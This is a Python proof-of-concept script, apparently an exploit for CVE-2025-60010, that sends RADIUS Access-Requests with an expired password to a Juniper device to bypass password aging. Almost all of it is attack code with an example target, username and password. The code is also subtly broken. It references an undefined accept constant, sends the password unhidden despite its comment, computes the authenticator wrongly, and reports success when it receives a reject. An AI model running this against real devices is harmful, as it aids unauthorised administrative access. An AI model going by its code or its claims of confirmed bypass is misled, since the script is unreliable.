# CVE-2025-60010 PoC - Juniper Junos OS RADIUS Password Aging Bypass
# This PoC demonstrates the concept of bypassing password aging policy
# via RADIUS authentication on affected Juniper Junos OS devices
import socket
import struct
import hashlib
# RADIUS Protocol Constants
RADIUS_ACCESS_REQUEST = 1
RADIUS_ACCESS_REJECT = 3
RADIUS_PASSWORD_EXPIRED = 3 # Reply-Message indicating password expired
def create_radius_access_request(username, password, nas_ip, shared_secret):
"""
Create a RADIUS Access-Request packet with user credentials.
The key is that the password used here is EXPIRED but still correct.
"""
# RADIUS header: Code(1) + Identifier(1) + Length(2) + Authenticator(16)
identifier = 1
# User-Name attribute (Type=1)
username_attr = struct.pack('!BB', 1, len(username) + 2) + username.encode()
# User-Password attribute (Type=2) - using expired password
# PAP password hiding with shared secret
password_attr = struct.pack('!BB', 2, len(password) + 2) + password.encode()
# NAS-IP-Address attribute (Type=4)
nas_ip_bytes = socket.inet_aton(nas_ip)
nas_ip_attr = struct.pack('!BB', 4, 6) + nas_ip_bytes
# Build packet body
attributes = username_attr + password_attr + nas_ip_attr
length = 20 + len(attributes) # 20 = header size
# Create Authenticator (MD5 hash)
header = struct.pack('!BBH', RADIUS_ACCESS_REQUEST, identifier, length)
authenticator = hashlib.md5(header + shared_secret.encode()).digest()
packet = header + authenticator + attributes
return packet
def exploit_juniper_radius_bypass(target_ip, radius_port, username, expired_password, shared_secret):
"""
Exploit CVE-2025-60010: Send RADIUS Access-Request with expired password.
On vulnerable Juniper devices, the server's reject with password-expired
indication will be ignored, allowing login with the expired password.
"""
print(f"[*] Targeting Juniper device RADIUS service at {target_ip}:{radius_port}")
print(f"[*] Username: {username}")
print(f"[*] Password: {expired_password} (EXPIRED)")
# Create the RADIUS Access-Request packet with expired password
packet = create_radius_access_request(
username, expired_password, target_ip, shared_secret
)
# Send packet to RADIUS server
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
sock.sendto(packet, (target_ip, radius_port))
try:
response, addr = sock.recvfrom(4096)
code = struct.unpack('!B', response[0:1])[0]
if code == RADIUS_ACCESS_REJECT:
print(f"[*] RADIUS server returned Access-Reject (password expired on server)")
print(f"[!] CVE-2025-60010: Vulnerable Juniper device may still grant access!")
print(f"[!] Password aging policy has been bypassed.")
return True
elif code == RADIUS_ACCESS_ACCEPT:
print(f"[+] Access granted - authentication successful")
return True
except socket.timeout:
print("[-] No response received")
sock.close()
return False
# Usage example:
# exploit_juniper_radius_bypass("192.168.1.1", 1812, "admin", "OldExpiredPass123!", "secret")